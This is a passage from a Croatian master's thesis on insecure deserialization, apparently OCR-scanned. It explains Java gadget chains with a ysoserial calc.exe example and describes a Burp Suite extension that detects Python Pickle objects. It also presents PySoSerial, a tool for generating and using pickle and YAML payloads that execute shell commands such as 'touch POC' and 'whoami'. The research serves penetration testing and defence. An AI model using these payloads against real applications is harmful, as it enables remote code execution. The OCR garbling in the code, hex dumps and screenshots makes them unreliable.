jekom deserijalizacije. Ove naprave obi¢no imaju odredene karakteristike koje ih Cine
pogodnim za izgradnju napada. Cesto su dio lanca poziva metoda, gdje se izvriava-

nje prenosi s jedne metode na drugu, Sto na kraju dovodi do izvrSavanja zlonamjernog
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koda. Ti lanci kljucni su dio iskoriStavanja nesigurne deserijalizacije u Javi i poznatiji
su pod nazivom gadget chain. Formalnije, gadget chain je niz poziva metoda od iz-
vorne metode, obicno readOb ject, do ciljne metode koja ée izvrsiti opasne radnje
poput poziva exec metode Java izvrSnog okruzenja (engl. Java runtime).

Pristup iskoriStavanju ranjivosti nesigurne deserijalizacije u Javi znacajno se raz-
likuje u testovima u kojima sigurnosni struénjak ima pristup izvornom kodu odnosno
testovima bijele kutije (engl. white box test) u odnosu na testove u kojima nema uvid
u izvorni kod odnosno testovima crne kutije (engl. black box test). Osoba koja ima
pristup izvornom kodu moZe vidjeti koje su sve klase i metode dostupne u aplikaciji pa
na temelju toga zna od kojih komponenti moZe sastaviti lanac naprava. S druge strane
u testovima crne kutije prilikom kreiranja malicioznog objekta potrebno je napraviti
pretpostavke odnosno pogadati koje klase se nalaze u classpath-u odnosno koje klase
su dostupne za izgradnju lanca naprava. Postoje ve¢ otkriveni i dokumentirani lanci
naprava koji se mogu koristiti za izvrSavanje proizvoljnog koda. Za iskoriStavanje ne-
sigurne deserijalizacije u Javi iznimno je koristan alat ysoserial [16]. Ovim alatom
moguce je kreirati maliciozne objekte koji prilikom deserijalizacije izvrSavaju speci-
ficiranu naredbu oslanjajuci se pritom na neki od ponudenih poznatih lanaca naprava.
Primjer koriStenja alata ysoserial za kreiranje malicioznog objekta koji prilikom

deserijalizacije izvrSava naredbu calc.exe moZe se vidjeti na slici 2.5.
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> java -jar ./ysoserial-all.jar CommonsCollectionsl calc.exe | hd
05 73 72 00 32 73 75 ée 2e 72 65 66 6c |....sr.2sun.refl|
2e 61 be 6e 6F T4 61 T4 69 6F 6e 2e 41 |ect.annotation.A|
74 61 74 69 6Ff be 49 be 76 6Ff 63 61 74 |nnotationInvocat|
48 61 6e 64 6¢c 65 72 55 ca f5 0f 15 ch |ionHandlery
00 B2 4c 08 Bc 65 6d 62 65 72 56 61 |~....L..memberVal
73 74 00 Of 4c ba 61 76 61 2f 75 74 69 |luest..Ljava/uti|
61 70 3b 4c B0 04 74 79 70 65 74 00 11 |1/Map:L..typet..|
76 61 2f 6¢c 61 6e 67 2f 43 6¢c 61 73 73 |Ljava/lang/Class|
73 00 GO0 60 01 6O ba 61 76 61 2e |;xps} java. |
6c 2e 61 70 78 72 80 17 6a 61 76 61 |util.Mapxr..javal
be 67 2e 72 65 66 6¢c 65 63 74 2e 50 72 |.lang.reflect.Pr|
el 27 20 cc 10 43 cb B2 00 B1 4c 00 Joxy.'. ..C....L.|
00 25 4c 6a 61 76 61 2f 6¢c 61 6e 67 2f |.ht.%Ljava/lang/|
6C 65 63 T4 2F 49 6e T6 6F 63 61 74 69 |reflect/Invocati]|
61 6e 64 6¢c 65 72 3b 78 70 73 71 00 7e |onHandler;xpsq.~|
72 00 2a 6f 72 67 2e 61 70 61 63 68 65 |..sr.xorg.apache]|
6f 6e 73 2e 63 6F 6¢c 6c 65 63 74 |.commons.collect|
73 2e 61 70 2e 4c 61 Ta 79 61 70 |ions.map.LazyMap|
82 9e 79 10 94 03 00 01 4c 00 07 &6 61 |n....y
72 79 74 00 2c 4c 6F 72 67 2f 61 70 61 |ctoryt.,Lorg/apal
2f 63 6F 6F 6e 73 2f 63 6f 6¢c 6¢c |che/commons/coll]
69 6F e 73 2f 54 72 61 é6e 73 66 6f 72 |ections/Transfor|
3b 78 70 73 72 00 3a 6f 72 67 2e 61 70 |mer;xpsr.:org.ap|
65 2e 63 6F 6Ff be 73 2e 63 6f 6c  |ache.commons.col]
74 69 6F 68 73 2e 66 75 é6e 63 74 6f 72 |lections.functor|
68 61 69 be 65 64 54 72 61 ée 73 66 6F |s.ChainedTransfol
72 30 ¢7 97 ec 28 7a 97 04 02 00 @1 5b |rmer@...(z
54 72 61 6e 73 66 6F 72 65 72 73 74 |..iTransformerst]|
4c 6F 72 67 2F 61 70 61 63 68 65 2f 63 |.-[Lorg/apache/c|
6F be 73 2f 63 &6F 6¢ 6c 65 63 74 69 6F |ommons/collectiol

Slika 2.5: Koristenje alata ysoserial za kreiranje malicioznog objekta.

Temeljni uzrok ranjivosti vezanih uz nesigurnu deserijalizaciju nije specifi¢an za
odredeni programski jezik, stoga generalna pravila za izbjegavanje ovih ranjivosti vri-
jede univerzalno za razliCite jezike. Da bi se izbjeglo uvodenje ranjivosti nesigurne
deserijalizacije najbolji pristup je ne deserijalizirati podatke koji dolaze od korisnika
odnosno podatke koje korisnik moZe mijenjati. Ako nije moguce izbjeci deserijali-
zaciju potrebno ju je ograniciti na skup dozvoljenih (engl. whitelisted) klasa. Nada-
lje, preporuceno je implementirati provjere integriteta primljenih objekata tehnikama
poput digitalnih potpisa kako bi bili sigurni da maliciozni korisnik nije manipulirao
serijaliziranim objektima. Dostupnost raznih biblioteka u ranjivoj aplikaciji napadacu
povecava vektor napada te je dobra praksa ne ukljucivati biblioteke koje se ne koriste

u aplikacije.
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3. Razvijeno programsko rjesenje

U sklopu prakti¢nog dijela diplomskog rada razvijena su dva alata. Prvi razvijeni alat
je dodatak (engl. plugin, extension) za program Burp Suite koji sluzi za detekciju ko-
riStenja Python Pickle objekata u HTTP zahtjevima web aplikacije. Drugi razvijeni
alat je PySoSerial, alat naredbenog retka (engl. command line) koji primarno sluzi za
identifikaciju i iskoriStavanje ranjivosti nesigurne deserijalizacije u Python aplikaci-

jama.

3.1. Dodatak za Burp Suite

Burp Suite je program namijenjen za sigurnosne provjere i penetracijska testiranja web
aplikacija. Burp djeluje kao posrednik (engl. proxy) izmedu web preglednika i testirane
web aplikacije Sto korisniku omogucuje da analizira i manipulira prometom izmedu
njih. To ga Cini odli¢nim alatom za penetracijske testove u kojima ispitiva¢ nema uvid
u izvorni kod testirane aplikacije (engl. black box test). Njegova fleksibilnost i Sirok
raspon funkcionalnosti ¢ine ga snaznim alatom u identifikaciji sigurnosnih propusta i
iskoriStavanju ranjivosti.

Pored ugradenih funkcionalnosti Burp je moguce prosiriti dodatcima (engl. exten-
sion, plugin) Sto korisnicima omoguduje da alat prilagode svojim specifiCnim po-
trebama. Neki od popularnih dodataka koje su napisali korisnici Burpa mogu se
preuzeti s interneta koriste¢i funkcionalnost BApp Store dostupnu unutar samog pro-
grama. U svrhu proSirivanja funkcionalnosti Burp nudi i aplikacijsko programsko su-
Celje (engl. Application Programming Interface, API) pod imenom "Extender API"
kako bi korisnici mogli razvijati vlastite dodatke. Ova fleksibilnost omoguéuje koris-
nicima prilagodavanje Burp Suite programa njihovim jedinstvenim potrebama i isko-
riStavanje njegovog punog potencijala u testiranju sigurnosti web aplikacija.

U tom smislu Burp uvelike pomaze i prilikom traZenja ranjivosti nesigurne deseri-
jalizacije. Prvi korak kod traZenja ranjivosti nesigurne deserijalizacije u web aplikaci-

jama je identificirati serijalizirane podatke odnosno objekte u komunikaciji serverske
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(engl. backend) i klijentske (engl. frontend) strane aplikacije. Takvi objekti uglavnom
se prenose u kodiranom obliku, a najée$ée su base64 kodirani. Detekcija serijaliziranih
objekata u HTTP zahtjevima moZe biti iznimno korisna jer omogucuje identifikaciju
potencijalnih sigurnosnih propusta vezanih uz procese serijalizacije i deserijalizacije.
Upravo zbog toga sigurnosni strucnjaci prilikom testiranja aplikacija stavljaju naglasak
na provjeru robusnosti tih mehanizama. Uzevsi u obzir sve vecu kompleksnost moder-
nih web aplikacija i koli¢inu mreZnog prometa koju mogu generirati, jasno je da detek-
cija serijaliziranih objekata u HTTP zahtjevima nije jednostavan zadatak. Ponekad se
radi o toliko kompleksnim zahtjevima da bi detaljna analiza svih funkcionalnosti web
aplikacije zahtijevala preveliku koli¢inu vremena. Dio tog procesa moguce je automa-
tizirati Sto je ujedno i1 motivacija za programsko rjeSenje razvijeno u sklopu ovog rada.
Razvijen je dodatak za Burp koji sluzi za automatsku detekciju Python Pickle objekata.
Osnovna zamisao je da se takav dodatak ukljuci u Burp prije provodenja penetracij-
skog testa. Zatim razvijeni dodatak parsira i analizira sve HTTP zahtjeve presretnute
tijekom ispitivanja sigurnosti kako bi u njima pokusao pronadi Pickle objekte. Na taj
nacin osoba koja provodi penetracijski test moZe paZnju usmjeriti na druge ranjivosti.
Ako dodatak pronade potencijalni serijalizirani objekt, $to ujedno moze indicirati i po-
tencijalno postojanje ranjivosti, obavijestit ¢e korisnika na Sto treba obratiti paznju i
detaljnije testirati.

Za razvoj dodataka Burp korisniku pruZa podrSku za programske jezike Python,
Javu i Ruby. Podrska za Python oslanja se na Jython dok se podrSka za programski
jezik Ruby oslanja na JRuby. Sam Burp je razvijen je u programskom jeziku Java pa je
stoga najprirodnije i najprakti¢nije koristiti Javu za interakciju sa Burpovim Extender
API-jem. Iz tog razloga za razvoj dodatka u okviru ovog rada odabran je programski
jezik Java.

Ulazna tocka svakog Burp dodatka je klasa BurpExtender koja se mora nalaziti
u paketu burp i implementirati sucelje IBurpExtender [14]. Sucelje
IBurpExtender sastoji se od samo jedne metode, metode registerExtender
Callbacks. Prilikom dodavanja razvijenog dodatka u Burp, on e kreirati instancu
klase BurpExtender te nad tim objektom pozvati metodu registerExtender
Callbacks. Ova metoda zapravo opisuje Burpu koje funkcionalnosti razvijeni doda-
tak proSiruje odnosno kada Burp treba komunicirati s razvijenim dodatkom. Primjerice
da bi se dodatak "registrirao" za obradu presretnutih HTTP zahtjeva moZe implemen-
tirati suCelje ITHttpListener te unutar metode registerExtender
Callbacks pozvati callbacks.registerHttpListener (this). Zahva-

ljujuéi tome Burp zna da treba pozvati metodu processHttpMessage iz sucelja
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IHttpListener prije slanja svakog HTTP zahtjeva i nakon primanja HTTP od-
govora. Samim time implementacijom processHttpMessage razvijeni dodatak
moze modificirati presretnute HTTP poruke. Da bi se ovako razvijeni dodatak uklju-
¢io u Burp dovoljno je prevesti ga . jar arhivu te u kartici Extensions odabrati opciju
Add i navesti putanju do . jar arhive.

Funkcionalnost razvijene ekstenzije moze se podijeliti u tri dijela. Prvi dio odgo-
voran je za ispravno parsiranje 1 obradivanje razlicitih tipova HTTP zahtjeva dok drugi
sluzi za detekciju Pickle objekata u analiziranim zahtjevima, a trei sluZi za obavje-
Stavanje korisnika o detekcijama. Da bi pravilno parsirao presretnute HTTP zahtjeve
razvijeni dodatak se oslanja na Content-Type zaglavlje. Ovo zaglavlje specificira
vrstu odnosno format sadrzaja koji se prenosi u tijelu HTTP poruke te je stoga vazno
za pravilno interpretiranje HTTP poruka [1]. Zaglavlje Content -Type sastoji se od
dvije vrijednosti odijeljene kosom crtom, tip i podtip podataka koji se prenose. Neke

od najcesce koristenih vrijednosti Content-Type zaglavlja su:
* application/json
* application/xml
* application/x-www—form-urlencoded
* text/plain
* text/html

Razvijeni dodatak temeljem sadrZzaja Content-Type zaglavlja odabire na koji na-
Cin Ce parsirati tijelo presretnutog HTTP zahtjeva. Zatim u tako obradenom zahtjevu
trazi base64 kodirane znakovne nizove. Ako se radi o formatu koji nema strogo de-
finiranu strukturu program ¢e pokusati regularnim izrazom (engl. regular expression,
regex) izdvojiti potencijalne base64 znakovne nizove iz tijela HTTP zahtjeva. Osim
toga, program na sli¢an nacin provjerava je li neki od parametra u HTTP zahtjevu
base64 kodirani znakovni niz. Opisani nacin analize tijela HTTP zahtjeva na temelju
vrijednosti Content—-Type zaglavlja moZe se vidjeti u isjecku koda 3.1. Razvijeni
dodatak unutar metode parseBody za svaki presretnuti HTTP zahtjev prvo dohvaca
listu zaglavlja te u njoj pronalazi Content-Type zaglavlje i dohvaéa njegovu vri-
jednost. Zatim na temelju te vrijednosti odabire odgovarajuci nacin parsiranja tijela

zahtjeva.
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Ispis 3.1: Obradivanje presretnutih HTTP zahtjeva ovisno o sadrzaju Content-type za-

glavlja.

public static void parseBody (IHttpRequestResponse request,

—

IRequestInfo analyzedReq) {

currentRequest = request;

// Get the body of the request message as a string

byte[] requestBodyBytes = request.getRequest ();

byte[] requestBody = Arrays.copyOfRange (requestBodyBytes,
— analyzedReq.getBodyOffset (), requestBodyBytes.length);
String requestBodyString =

— BurpExtender.callbacks.getHelpers () .bytesToString(requestBody) ;

// Determine the content type of the body by checking the
— "Content-Type" header

List<String> headers = analyzedReq.getHeaders();

String contentType = null;

for (String header : headers) {

if (header.tolLowerCase () .startsWith ("content-type:"))
contentType =
— header.substring ("Content-Type:".length()) .trim();
}
if (contentType == null )
return;
else if (contentType.tolLowerCase () .contains("json"))

parsedson (requestBodyString) ;

else if (contentType.toLowerCase () .contains ("xml"))
parseXML (requestBodyString) ;

else if (contentType.toLowerCase ()

N .contains ("x-www—form-urlencoded"))
parseXWWWFormUrlEncoded (requestBodyString) ;

else if (contentType.toLowerCase () .contains ("text"))

matchWRegex (requestBodyString) ;

Jednom kada su iz zahtjeva odvojeni svi base64 znakovni nizovi, alat provjerava je li

neki od njih Python Pickle objekt. Da bi to provjerio, program dekodira izabrane strin-

gove koristeci base64 i u njima trazi ranije spomenute Pickle operacijske kodove. Kao

Sto je opisano u 2.1.1, svaki validni Pickle objekt zavrSava sa STOP instrukcijom Ciji je

operacijski kod toc¢ka. To je minimalni uvjet koji znakovni niz mora zadovoljavati da

bi ga alat smatrao validnim Pickle objektom. Ovaj dio Burp dodatka radi nesto jednos-

tavniju i povrsniju provjeru radi li se o Pickle objektu. Razlog je taj Sto veca koli¢ina
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provjera moZe zahtijevati znacajnu koli¢inu procesorskog vremena i radne memorije.
Osnovna zamisao je da ovaj Burp dodatak uhvati potencijalne Pickle objekta, a detalj-
nija analiza 1 filtriranje prepustaju se drugom razvijenom alatu PySoSerial. Uzevsi u
obzir da je STOP jedina instrukcija koja je nuZno prisutna u svakome Pickle objektu,
alat prisutnost operacijskih kodova drugih Pickle instrukcija koje identificira u analizi-
ranom znakovnom nizu gleda kao dodatnu indikaciju radi li se doista o Pickle objektu.
U tom smislu, alat na razliCit nacin obavjeStava korisnika ovisno o tome koliko je sigu-
ran, odnosno kolika je vjerojatnost da se uistinu radi o Pickle objektu. U isjecku koda
3.2 moZe se vidjeti kako razvijeni dodatak provjerava zavrSava li testirani znakovni niz
operacijskim kodom za STOP instrukciju te sadrzi li identifikator Pickle protokola. Do-
datak zatim na temelju provedenih provjera mijenja vrijednost varijable certainty

koja predstavlja razinu sigurnosti da se radi o Pickle objektu i obavjeStava korisnika.

Ispis 3.2: Dio koda odgovoran za detekciju Pickle objekata

public class PickleValidator {
private static IHttpRequestResponse last_highlighted_reqg;
enum CertaintyLevel {
LOW,
HIGH
}
public static boolean validatePickle (String testedString,
— IHttpRequestResponse request) {

<SNIP>
// Check if the bytes end with the STOP opcode, b'.'
if (decodedBytes|[decodedBytes.length - 1] != (byte) 0x2e)

return false;
else

certainty = CertaintyLevel.LOW;

// Check if the bytes start with a valid protocol version
— identifier

// not necessary but a good indicator if present

if (decodedBytes|[0] == (byte) 0x80)
certainty = CertaintylLevel.HIGH;
<SNIP>

Alat na viSe razlicitih nacina obavjeStava korisnika o uspjeSnim detekcijama. Cilj
je prvenstveno korisniku skrenuti paznju na HTTP zahtjeve u kojima se nalaze de-
tektirani objekti. Sve detekcije potencijalnih Pickle objekata vidljive su u zapisniku

dogadaja (engl. event log) koji je dostupan na pocetnom sucelju Burp programa. Tamo
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su istaknuti detalji o ssamom HTTP zahtjevu koji sadrZi Pickle objekt poput HTTP me-
tode, URL-a i detektiranog objekta. Dodatno u kartici HTTP history svi zahtjevi u
kojima je detektiran Pickle objekt bit e oznaceni posebnom bojom. Zelenom bojom
su istaknuti zahtjevi za koje je veéa vjerojatnost da sadrZe Pickle objekt dok su svijetlo
plavo oznaCeni oni za koje je vjerojatnost manja. Uz to, alat u Extension Kartici is-
pisuje sve detektirane objekte. Opisani nacini obavjeStavanja korisnika o detekcijama

mogu se vidjeti na slikama 3.1, 3.2 1 3.3.

4 Event detail

Time: 20:29:26 6 Jun 2023
Type: Info
Source:  Extensions

Message: [40] Pickle detector extension: Most likely a pickle object was detected in POST request to http:/{127.0.0.1:1337/apifendpoint.
The detected pickle is:
gASVICAAAAAAAACMBX Byc 2l 4l wGc3lzdGVELIOU|AZ3aGohbWmUBZRSIC4=

The request is highlighted in Proxy HTTP history tab in green.

OK

Slika 3.1: Obavijest o detekciji u zapisniku dogadaja.
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Burp Suite Community Edition v2023.12 - Temporary Project
Burp Project Intruder Repeater Window Help.
Dashboard  Target Proy itruder  Repester  Sequencer  Decoder  Comparer  Logger  Extensions  Leam  Customizer Settings
Intercept _HTTP history __ Websockets history Prowy settings
Filter: Hiding CSS, image and general binary content ]
Host Method URL Params  Edted  Status  Length MMEfype Extension Title Comment s
httpy}127.0014337 GET  [homepage g 520 Error response
http/127.0.0.11337 GET  fhomepage v 520 Error response
Http/127.00113 poST v 555 ror response. e X =t
httpy/127.001:1337 GET  flogin v 520 Error response
hetpIN27.0.011337 GET [search 7 520 Error response
hitpy127.0.011337 GET v 3581 Directory lsting for /
hitpy127.0011337 posT [ v 555 Error response
http/127.0.011337 posT | v 555 Error response
Request Response il 15 .
jEE | Baw  H = " Ry HEW el e " = | Requestattributes 2
POST /api/endpoint HTTP/1.1 HTTP/1.0 501 Unsupported method (*POST')
Host Server: SinpleHTTP/0.6 Python/3.11.2 Reuest bearkrs s v
User-Agent: curl/7.88.1 Date: Tue, 06 Jun 2023 18:29:26 GHT
4 Accept: */* 4|Connection: close
Content-Type: application/xnl Content-Type: text/htl;charset=utf-g Besporse Imoders S
& Content-Length: 294 Content-Length: 357
Connection: close
<10ocTYPE HTHL>
<7xml version="1.0" encoding="UTF-8"7>
<root>
<person> <meta charset="utf-g">
<nane> <titles
John Doe Error response
</nane>
<age>
30
</age>
<address> Error response
<street> </
123 Main st <p>
<Ustreet> Error code: 501
<city> <rp>
Anytown <>
<reity> Message: Unsupported method (“POST')
<states <
[ >
</states Error code explanation: 501 - Server does not
<zip> support this operation
12345 <tp>
</zip> </body>
</address> </htal>
<phone> 21
555-1234
</phone>
</person>
<h1>
WBXBVC2141 €100 1ca-
</h1>
</xo0t>

Slika 3.2:

sucelju.

Burp Suite Community Edition v2023.12 - Temporary Project
Bup Project intruder Repeater Window Help
Dashboard  Target Proxy intruder  Repeater  Sequencer  Decoder  Comparer  Logger _Extensions Leam Customizer
nstalled _ BAppStore A0ls Extensions settings
& Total estimated system impact:  Low  S—
Burp extensions
Extensions let you customize Burp's behavior using your own or third-party code.
Add Loaded Type Name System impact
e Java Customizer Low
o ey Tor
up
Down
Details Output Errors
Output to system console
) save tofle: Select file
© showin
[+] Loaded pickle detector plugin
[+] Pickle detector extension: Detected pickle ==> GASVIQAAAAAAAACMBXBvC2141InGe31zdGVE1I0UjAZ3aGORbHUNZRS1CA=, certainty: HIGH
(4] Pickle detector extension: Detected pickle certainty: HIGH
4/[#] Pickle detector extension: Detected pickle certainty: HIGH
{+] Pickle detector extension: Detected pickle ==> GASVIQAAAAAAAACMBXBYC2141InGe312dGVE1I0U]AZ3aGORbNUNZRS1CA=, certainty: HIGH

HTTP zahtjev koji sadrzZi Pickle objekt istaknut zelenom bojom u HTTP history

Settings

Slika 3.3: Ispis ekstenzije prilikom detekcije Pickle objekata.

3.2. PySoSerial

PySoserial je alat za penetracijsko testiranje namijenjen za identifikaciju 1 iskoriStava-

nje ranjivosti nesigurne deserijalizacije u programskom jeziku Python. Osnovna ideja

alata je osobi koja provodi penetracijski test web aplikacije olakSati proces iskoriStava-
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nja ranjivosti nesigurne deserijalizacije na nacin da se dio tog postupka automatizira.
Alat se oslanja na koncepte objasnjene u odjeljku 2.1. PySoSerial zamisljen je tako da
se koristi u kombinaciji s prethodno opisanim Burp Suite dodatkom. Nakon Sto Burp
Suite dodatak detektira potencijalni Python Pickle objekt u HTTP zahtjevu, taj zah-
tjev prosljeduje se PySoSerial programu zbog provjere postojanja ranjivosti nesigurne
deserijalizacije. Ako je testirana aplikacija ranjiva, PySoSerial omogucuje automati-
zaciju iskoriStavanja ranjivosti nesigurne deserijalizacije. Alat nudi mnoStvo opcija za

detekciju 1 iskoriStavanje nesigurne deserijalizacije, a sastoji se od Cetiri modula:

e verify-pickle

* generate—-payload

* confirm-vuln

e exploit
Razvijeni program pokrece se iz naredbenog retka i moZe mu se predati nekoliko raz-
licitih zastavica prilikom pokretanja. Alat se koristi na sljede¢i nacin:

./pysoserial.py ime_modula -opcije_modula

DuZi ispis svih opcija moZe se dobiti zastavicom —h ili ——help, dok se skradeni ispis
moze dobiti pokretanjem programa bez opcija Sto se moze vidjeti na slici 3.4. Takoder
popis opcija za specificni modul moZe se dobiti navodenjem imena modula te zatim
——help zastavice. U nastavku je dan kratki pregled dostupnih modula te su opisane

njihove funkcionalnosti i uporaba.
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> ./pysoserial.py --help

SERIAL

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

usage: pysoserial.py [-h] {verify-pickle,generate-payload,confirm-vuln,exploit} ...
[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

positional arguments
{verify-pickle,generate-payload,confirm-vuln,exploit}
verify-pickle Verify that the string is baseé4 serialized python pickle object
generate-payload Generate serialized object with custom code
confirm-vuln Test to confirm existence of vulnerability
exploit Try to exploit the vulnerability and execute custom command.

options:
-h, --help show this help message and exit

Slika 3.4: Popis dostupnih modula u PySoSerial-u

3.2.1. Modul verify-pickle

Modul verify-pickle sluzi za potvrdu je li predani znakovni niz base64 kodirani

Pickle objekt. Popis dostupnih opcija ovoga modula moZe se vidjeti na slici 3.5.

% ./pysoserial.py verify-pickle --help

DSERIAL

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

usage: pysoserial.py verify-pickle [-h] [--object OBJECT] [--unsafe]

options:
-h, --help show this help message and exit
--object OBJECT Pickle object to verify(baseé4)
--unsafe Use dangerous deserialization functions to verify if the string is serialized object.Dangerous! Should only be used when sure the
provided object is safe to deserialize.

Slika 3.5: Popis opcija dostupnih prilikom koriStenja verify-pickle modula

Modul obavlja znatno sofisticiraniju provjeru radi li se o Pickle objektu u usporedbi s
razvijenim Burp dodatkom. Buduéi da dodatak analizira svaki presretnuti (engl. inter-
cepted) HTTP zahtjev, on vrsi samo osnovne provjere kako bi saCuvao resurse poput
procesorskog vremena i memorije. Stoga postoji mogucnost neispravne detekcije. 1z
tog razloga, PySoSerial provodi znatno detaljniju provjeru kako bi filtrirao neispravne

rezultate. Program nudi dva nacina provjere radi li se o Python Pickle objektu. Prvi
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i preporuceni nacin koriStenja provjerava radi li se o Pickle objektu bez da se predani
objekt unpickla odnosno pozove funkcija za deserijalizaciju poput pickle.loads.
Modul je napravljen tako da prvo base64 dekodira predani znakovni niz te ga zatim
pokusa rastaviti na legitimne Pickle operacijske kodove (engl. opcode). Kada bi pre-
dani znakovni niz bio validan Pickle objekt, sastojao bi se iskljucivo od validnih Pic-
kle operacijskih kodova. Da bi rastavio dobiveni objekt na Pickle operacijske kodove
alat se oslanja na funkciju genops iz Python biblioteke pickletools. Za razliku
od funkcije pickle.loads funckijapickletools.genops nece deserijalizirati
dobiveni objekt pa samim time nije ranjiva na nesigurnu deserijalizaciju. Opisano se
moze vidjeti na slici 3.6 gdje su obje metode pozvane s malicioznim objektom koji

prilikom deserijalizacije treba izvrSiti naredbu: touch POC.

A kali temp = python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

import baseé4, pickle, pickletools, os

payload = "gASVJAAAAAAAAACMBXBvc2141IwGc31zdGVt1JOUjALOb3VjaCBQTOOUNZRS1CA="

pickletools.genops(baseéd4.bé4decode (payload))
<generator object _genops at 0x7fb42ec39480>
>>> ps.system("ls -1")

total 0

(0]

55>

>>> pickle.loads(baseé4.bb4decode (payload))
[¢]

>>> ps.system("ls -1")

total 0

-rw-r--p-- 1 kali kali 0 May 31 00:54 POC
¢]

>>>

Slika 3.6: Pozivanje funkcija pickletools.genops () i pickle.load () s malicioz-

nim objektom

U isjecku koda 3.3 prikazan je nacin provjere je li specificirani znakovni niz base64
kodirani Pickle objekt. Alat prvo radi jednostavnu provjeru zavrSava li testirani niz
operacijskim kodom Pickle STOP instrukcije. Na taj naCin moZe brzo filtrirati ni-
zove koji nisu Pickle objekti. Zatim alat koristi funkciju genops da bi rastavio
Pickle objekt na operacijske kodove PVM instrukcija te u prikazanoj for petlji ite-
rira po dobivenim operacijskim kodovima i za svaki provjerava radi li se o validnom
operacijskom kodu PVM instrukcije tako S$to provjerava nalazi li se taj kod u listi
pickletools.opcodes. Alat potvrduje da se radi o Pickle objektu samo ako

se testirani niz sastoji isklju¢ivo od validnih PVM operacijskih kodova.

27



20

21

22

23

24

25

26

27

28

29

30

31

32

33

Ispis 3.3: Dio PySoSerial-a odgovoran za provjeru sastoji li se predani string od Pickle opera-

cijskih kodova

<SNIP>

if not g_args.unsafe:

# first try to detect only STOP opcode to detect potential pickle object,
# if the object does not end with STOP opcode no need to test further,
# object is not a valid pickle
if pickle_object.endswith (pickle.STOP) :
confidence = """ [+] Confidence: Low. Might be pickle object.
Ends with pickle STOP opcode"""
else:
print_warning (" [-] Not a valid pickle object")
print ()

return False

# try to verify if provided object is pickle by disassembling it
# and verifying that it consists only of valid pickle opcodes
contains_only_pickle_opcodes = True
try:
for obj in pickletools.genops (pickle_object) :
opcode_str = obj[0].code
if not (bytes(opcode_str, 'utf-8')) in \
[bytes (opcode.code, 'utf-8") \
for opcode in pickletools.opcodes]:

contains_only_pickle_opcodes = False

if contains_only_pickle_opcodes:
print_info (" [+] Pickle object detected", greentext=True)
confidence = "[+] Confidence: High"

except Exception:

print_warning (" [-] Not a valid pickle object")

print ()

return False

<SNIP>

Dodatno, modul nudi opciju za provjeru radi li se o validnom Pickle objektu koristeci
funkcije za deserijalizaciju ako se programu preda zastavica ——unsafe. Ovaopcija je
najpouzdanija Sto se ti¢e detekcije Pickle objekata, no potrebno ju je oprezno koristiti
jer se oslanja na funkciju pickle.loads koja prilikom deserijalizacije maliciozno
kreiranih objekata moZe izvrSiti napadacev kod. Na slici 3.7 se vidi primjer koriStenja
alata s malicioznim Pickle objektom koji prilikom deserijalizacije izvrSava naredbu:

echo "executing arbitrary code".
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5 payload=gANjc69zaXgKc31zdGVtCnEAWBSAAABLY2hvICdLeGV] dXRpbmcgYXJiaXRy YXJSIGNyZ6UNcQBFcQJScQMy
- ./pysoserial.py verify-pickle --object $payload

PYSOSERIAL.

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

[+] Using verify module

5 ./pysoserial.py verify-pickle --object $payload --unsafe

PYSOSERIAL

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

[+] Using verify module

[+] using --unsafe

lexecuting arbitrary code

i INFO ] [+] Pickle object detected
[ INFO ] [+] Confidence: Certain

Slika 3.7: KoriStenje verify-pickle modula

3.2.2. Modul generate-payload

Modul generate-payload sluZi za kreiranje posebnih objekata koji prilikom de-
serijalizacije izvrSavaju specificiranu naredbu u ljusci operacijskog sustava (engl. shell).

Popis dostupnih opcija modula generate-payload moZe se vidjeti na slici 3.8.

<+ ./pysoserial.py generate-payload --help ]

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

usage: pysoserial.py generate-payload [-h] [--cmd CMD] [--lib {pickle,pyyaml,all}] [--raw]

options:
-h, --help show this help message and exit
--cmd CMD Generate the payload which executes provided command when unpickled
--1ib {pickle,pyyaml,all}
Create payload for specific serialization Llibrary: [pickle, pyyaml, all]. Default is pickle.
--raw Include raw bytes representation of payloads.

Slika 3.8: Popis opcija dostupnih prilikom koriStenja generate-payload modula

Opcijom ——cmd alatu predaje se naredba koja ¢e se izvrsiti prilikom deserijali-
zacije kreiranog objekta. Opcijom —-1ib moZe se odabrati kreiranje malicioznog

tereta (engl. payload) za biblioteku Pickle ili Yaml. Za kreiranje takvih malicioz-
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nih objekata PySoSerial se oslanja na metodu __reduce___ kao $§to je to opisano
u 2.1.1. Dodatno, za kreiranje payloada unutar metode ___reduce___ koriStena su
dva pristupa. Prvi koristi Pythonov os modul i funkciju system dok se drugi osla-
nja na Pythonov subprocess modul i funkciju check_output te postojanje lju-
ske /bin/sh naracunalu na kojemu je ranjiva aplikacija. KoriStena su oba pristupa
za specifican slucaj u kojem testirana Web aplikacija vraca rezultat deserijalizacije u
HTTP odgovoru. U tom slucaju, korisno je vidjeti rezultat izvrSene naredbe na ranji-
vom racunalu. Ako je objekt generiran tako da se prilikom deserijalizacije izvrSava
os.system(naredba) onda ugradivanjem povratne vrijednosti takvog poziva u
HTTP odgovor on ne bi sadrzavao rezultat izvrSavanja specificirane naredbe, odnosno
ispis sa standardnog izlaza. Povratna vrijednost os . sy stem funkcije je ovisna o ope-
racijskom sustavu. Na Unix operacijskom sustavu povratna vrijednost je izlazni status
procesa, dok je na Windows operacijskom sustavu povratna vrijednost ona koju vraca
ljuska sustava nakon pokretanja zadane naredbe. Stoga alat prilikom generiranja ma-
licioznih objekata nudi i alternativu. Pythonov subprocess modul sadrzi funkciju
check_output Cija je povratna vrijednost sadrzaj ispisan na standardni izlaz. Kada
se rezultat deserijalizacije objekta temeljen na toj funkciji ugradi u HTTP odgovor,
moguce je vidjeti ispis koji je na standardni izlaz generirala izvrSena naredba. Opisano
se moZe vidjeti na slici 3.9 gdje su ispisane povratne vrijednosti deserijalizacije dva
razliCita objekta. Oba izvrSavaju naredbu whoami, no prvi koristi os . system dok

drugi koristi subprocess.check_output funkciju.

1 import base64, pickle

3 var = pickle.loads(base64.b64decode(
4 print(
5

6 var = pickle.loads(base64.b64decode(

/home/kali/Documents/Diplomski/PySoSerial]
won3 . /payloads.py
root
